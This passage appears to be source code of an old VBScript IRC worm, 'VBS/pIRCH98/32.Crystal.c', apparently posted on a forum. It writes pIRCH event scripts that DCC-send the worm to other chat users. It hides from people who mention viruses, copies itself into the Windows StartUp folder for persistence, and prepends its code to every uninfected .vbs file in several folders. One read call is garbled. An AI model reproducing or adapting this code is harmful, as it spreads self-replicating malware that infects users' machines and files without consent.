MyBaby.WriteLine "Event5=@ON BAN:*:#:/mode # -o+b $me $banmask | /kick # $nick Dont ban me!!"
MyBaby.WriteLine "Event6=ON PART:#:/notice $nick Case I didnt send it yet this is the cutest thing Ive seen Wink"
MyBaby.WriteLine "Event7=ON PART:#:/dcc send $nick c:\windows\Crystal2.vbs"
MyBaby.WriteLine "Event8=VERSION:/notice $nick \-1 VBS/pIRCH98/32.Crystal.c : Crystal.a by -KD- I'm Infected!!! \-1:-"
MyBaby.WriteLine "Event9=ON TOPIC:#:/topic # Crystal rocks! | /notice $nick Crystal!!!"
MyBaby.WriteLine "Event10=ON ACTION:*hump*:#:/notice $nick Get off my leg!!"
MyBaby.WriteLine "Event11=ON ACTION:*hump*:#:/kick # $nick Get off my leg I said!!"
MyBaby.WriteLine "Event12=ON TEXT:*hump*:#:/ignore # $nick"
MyBaby.WriteLine "Event13=ON TEXT:*sex*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event14=ON TEXT:*f**k*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event15=ON TEXT:*damn*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event16=ON TEXT:*satan*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event17=ON TEXT:*dick*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event18=ON TEXT:*hump*:#:/ignore # $nick"
MyBaby.WriteLine "Event19=ON TEXT:*hell*:#:/ignore # $nick"
MyBaby.WriteLine "Event20=ON TEXT:*virus*:#:/ignore # $nick"
MyBaby.WriteLine "Event21=ON TEXT:*worm*:#:/ignore # $nick"
MyBaby.WriteLine "Event22=ON TEXT:*trojan*:#:/ignore # $nick"
MyBaby.WriteLine "Event23=ON TEXT:*Crystal*:#:/ignore # $nick"
MyBaby.WriteLine "Event24=ON TEXT:*baby*:*:/dcc send $nick c:\windows\Crystal2.vbs"
MyBaby.WriteLine "Event25=PING:/notice $nick Oh god baby do it again! Wink"
MyBaby.WriteLine "Event26=ON QUIT:/msg :#vir: VBS/pIRCH98/32.Crystal.c by -KD-! gotta love it!"
MyBaby.WriteLine "Event27=ON KICKED:*:#: /msg $nick What the hell? | /join # | /mode # -o+b $nick $banmask"
MyBaby.WriteLine "EventCount=27"
MyBaby.WriteLine ""
MyBaby.WriteLine "[100-Level 100]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.WriteLine ""
MyBaby.WriteLine "[200-Level 200]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.WriteLine ""
MyBaby.WriteLine "[300-Level 300]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.WriteLine ""
MyBaby.WriteLine "[400-Level 400]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.WriteLine ""
MyBaby.WriteLine "[500-Level 500]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.Close
FSO.CopyFile "c:\WINDOWS\events3.dll", "c:\pirch98\events.ini"
FSO.CopyFile "c:\WINDOWS\events3.dll", "c:\pirch32\events.ini"
FSO.CopyFile Crystal, "c:\WINDOWS\Crystal2.vbs"
FSO.CopyFile Crystal, "c:\WINDOWS\Start Menu\Programs\StartUp\Startup.vbs"

If Day(Now()) = 1 or Day(Now()) = 20 Then
MsgBox "The screams fill the room" & Chr(13) & Chr(10) & "Alone I drop and kneel", 4096 , "Crystal"
End If

FoldersToGet(0) = "."
FoldersToGet(1) = FSO.GetSpecialFolder(XWindowsFolder)
FoldersToGet(2) = FSO.GetSpecialFolder(XWindowsFolder) & "\Desktop"

Set MyCrystal = FSO.OpenTextFile(Crystal, ForReading)
MyCode = MyCrystal.Read(TheCrystal)
MyCrystal.Close

For Each FolderX in FoldersToGet
Catch FolderX
Next

Sub Catch(TheFolder)

For Each V in FSO.GetFolder(TheFolder).Files
If FSO.GetExtensionName(V.Name) = "vbs" then

Set VFile = FSO.OpenTextFile(V.Path,ForReading)
InfMarker = VFile.read(Cool
VFile.close

If InfMarker <> "'Crystal" Then
Set VFile = FSO.OpenTextFile(V.path,ForReading)
VCode = VFile.ReadAll
VFile.close
VCode = MyCode & VCode
Set VFile = FSO.OpenTextFile(V.Path,ForWriting,True)
VFile.Write VCode
VFile.close
end if
end if
next
End Sub
'---> Exit[marq=right]